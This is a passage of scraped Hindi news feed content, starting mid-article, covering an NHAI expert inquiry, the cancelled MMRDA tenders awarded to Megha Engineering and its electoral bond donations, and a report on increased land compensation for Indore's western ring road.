इस मामले की जांच के लिए एक एक्सपर्ट कमेटी बनाई गई है। इसमें सेंट्रल रोड रिसर्च इंस्टीट्यूट (CRRI) के एक सीनियर वैज्ञानिक, IIT-पलक्कड के एक रिटायर्ड प्रोफेसर और जियोलॉजिकल सर्वे ऑफ इंडिया (GSI) के एक्सपर्ट शामिल हैं। यह कमेटी देखेगी कि डिजाइन कैसा था, निर्माण की क्वालिटी कैसी थी और क्या सुधार किया जा सकता है। NHAI ने कहा है कि वे सभी जरूरी कदम उठा रहे हैं ताकि आगे से ऐसे प्रोजेक्ट में सुरक्षा और जवाबदेही बनी रहे। यानी, NHAI यह सुनिश्चित करना चाहती है कि भविष्य में जो भी सड़कें बनें, वे सुरक्षित हों और अगर कोई गलती करे तो उसकी जिम्मेदारी तय की जा सके।

पहले भी हुआ है विवाद

मई के महीने में महाराष्ट्र में मुंबई महानगर क्षेत्र विकास प्राधिकरण (MMRDA) ने 14,000 करोड़ रुपये के दो बड़े इंफ्रास्ट्रक्चर प्रोजेक्ट के टेंडर रद्द कर दिए थे। ऐसा सुप्रीम कोर्ट के दखल के बाद हुआ। इन प्रोजेक्ट के ठेके मेघा इंजीनियरिंग को दिए गए थे, जिस पर काफी विवाद हुआ था। L&T नाम की एक कंपनी ने MMRDA के खिलाफ सुप्रीम कोर्ट में केस किया था। L&T का कहना था कि मुंबई के कोस्टल रोड प्रोजेक्ट के दो जरूरी प्रोजेक्ट के लिए उनकी बोली को गलत तरीके से रिजेक्ट कर दिया गया। इन प्रोजेक्ट में गैमुख और फाउंटेन होटल जंक्शन के बीच एक रोड टनल और ठाणे-घोड़बंदर कॉरिडोर पर एक एलिवेटेड रोड बनाना शामिल था। टनल रोड प्रोजेक्ट के लिए जुलाई 2024 में L&T, MEIL और तीन अन्य कंपनियों ने बोली लगाई थी। L&T की बोली को टेक्निकल जांच के दौरान ही रिजेक्ट कर दिया गया था। इसके बाद L&T ने बॉम्बे हाई कोर्ट में फिर से विचार करने के लिए अर्जी दी, लेकिन 20 मई, 2025 को उसे खारिज कर दिया गया। MMRDA ने MEIL को सफल बोली लगाने वाला घोषित कर दिया। इसके बाद L&T ने सुप्रीम कोर्ट में एक हलफनामा दिया। इसमें L&T ने कहा कि MEIL की बोली 3,100 करोड़ रुपये ज्यादा थी, फिर भी उसे चुना गया। L&T का कहना था कि जब उनकी बोली कम थी, तो उन्हें प्रोजेक्ट क्यों नहीं दिया गया। सुप्रीम कोर्ट ने इस मामले को देखने के बाद हैरानी जताई। कोर्ट ने कहा कि महाराष्ट्र सरकार ने पब्लिक के पैसे का गलत इस्तेमाल किया है। कोर्ट ने यह भी पूछा कि ज्यादा बोली लगाने वाली कंपनी को ठेका क्यों दिया गया। इसके बाद MMRDA ने 30 मई को टेंडर रद्द करने का फैसला किया।

चुनावी बॉन्ड के लिए चर्चा में रही है कंपनी

साल 2024 में मेघा इंजीनियरिंग कंपनी लिमिटेड को चुनावी बॉन्ड के जरिए राजनीतिक पार्टियों को चंदा देने वाली बड़ी कंपनी के तौर पर पहचाना गया। इलेक्शन कमीशन ऑफ इंडिया के डेटा के मुताबिक, मेघा इंजीनियरिंग ने भारतीय जनता पार्टी (BJP) को लगभग 60% चंदा दिया, जो कुल 966 करोड़ रुपये था। डेटा के अनुसार, MEIL ने एक-एक करोड़ रुपये के कुल 966 बॉन्ड खरीदे, जिनमें से ज्यादातर 584 बॉन्ड BJP को गए। भारत राष्ट्र समिति को 195 बॉन्ड, द्रविड़ मुनेत्र कड़गम को 85 बॉन्ड और YSR कांग्रेस पार्टी को 37 बॉन्ड मिले। इसके अलावा, तेलुगु देशम पार्टी को 28 बॉन्ड, INC को 18 बॉन्ड, बिहार प्रदेश जनता दल को 10 बॉन्ड, जनता दल को पांच बॉन्ड और जनसेना पार्टी को चार बॉन्ड मिले। MEIL की एक सहायक कंपनी, एवे ट्रांस प्राइवेट ने 6 बॉन्ड खरीदे, जिनकी कीमत 1 करोड़ रुपये प्रति बॉन्ड थी। ये सभी बॉन्ड भारत राष्ट्र समिति को दिए गए। इसके अलावा, कंपनी की एक और सहायक कंपनी, SEPC पावर ने 40 बॉन्ड खरीदे, जिनकी कीमत 1 करोड़ रुपये प्रति बॉन्ड थी।

]]>
इंदौर में पश्चिमी रिंग रोड के लिए मुआवजा राशि बढ़कर 1000 करोड़ रुपये हुई , जिससे किसानों को लाभ होगा https://pratyushaashakinayikiran.com/?p=162227 Sun, 08 Jun 2025 03:38:00 +0000 https://pratyushaashakinayikiran.com/?p=162227 इंदौर

 पश्चिमी रिंग रोड की मुआवजा राशि 600 करोड़ रुपये से बढ़कर एक हजार करोड़ रुपये के करीब पहुंच गई है। भारतीय राष्ट्रीय राजमार्ग प्राधिकरण (एनएचआइ) ने इंदौर और धार जिले में पश्चिमी रिंग रोड के लिए अधिग्रहित की जा रही जमीनों का मुआवजा बढ़ाने का निर्णय लिया है।

इंदौर जिले की तीन तहसीलों में 795 करोड़ रुपये और धार जिले की पीथमपुर तहसील में लगभग 200 करोड़ रुपये का मुआवजा पारित किया गया है। इस मुआवजा राशि के अवार्ड पारित हो चुके हैं, जिससे किसानों के खातों में राशि जल्द ही जमा होगी।
पहले किसान कर रहे थे विरोध

पश्चिमी रिंग रोड को लेकर किसानों द्वारा लगातार विरोध किया जा रहा था। शासन स्तर से निर्देश मिलने के बाद कलेक्टर आशीष सिंह ने मुआवजा देने की प्रक्रिया को आगे बढ़ाया, जिससे किसानों का विरोध समाप्त हो गया। इसके बाद जिला प्रशासन और एनएचआई ने निजी जमीनों का सर्वे और मैपिंग का कार्य किया।

64 किमी लंबे पश्चिमी रिंग रोड में इंदौर और धार जिले की 570.5678 हेक्टेयर भूमि शामिल है, जिसमें 98.5133 हेक्टेयर शासकीय जमीन है। एनएचआई के प्रोजेक्ट डायरेक्टर सुमेश बांझल ने बताया कि पहले मुआवजे का आकलन कलेक्टर की गाइडलाइन के आधार पर किया गया था।

किसानों की मांग के बाद तहसीलों में जमीनों की औसत बिक्री और खरीदी की जांच कर मुआवजे का पुनः आकलन किया गया। पहले 600 करोड़ रुपये का मुआवजा निर्धारित था, जो अब बढ़कर 1000 करोड़ रुपये हो गया है।
सांवेर में सबसे अधिक 473 करोड़ मुआवजा

सांवेर तहसील में सबसे अधिक 473 करोड़ रुपये का मुआवजा पारित किया गया है। जिले की तीन तहसीलों के 26 गांवों के 998 किसानों को 795 करोड़ रुपये का मुआवजा मिलेगा। सांवेर तहसील के नौ गांवों के 512 किसानों को 473 करोड़ रुपये, देपालपुर के पांच गांवों के 153 किसानों को 140 करोड़ रुपये और हातोद के 12 गांवों के 333 किसानों को 182 करोड़ रुपये का मुआवजा मिलेगा।

धार जिले की पीथमपुर तहसील में भी लगभग 200 करोड़ रुपये का मुआवजा किसानों को मिलेगा। इस मुआवजे से किसानों को आर्थिक सहायता मिलेगी और सड़क निर्माण कार्य शीघ्र प्रारंभ होगा।

]]>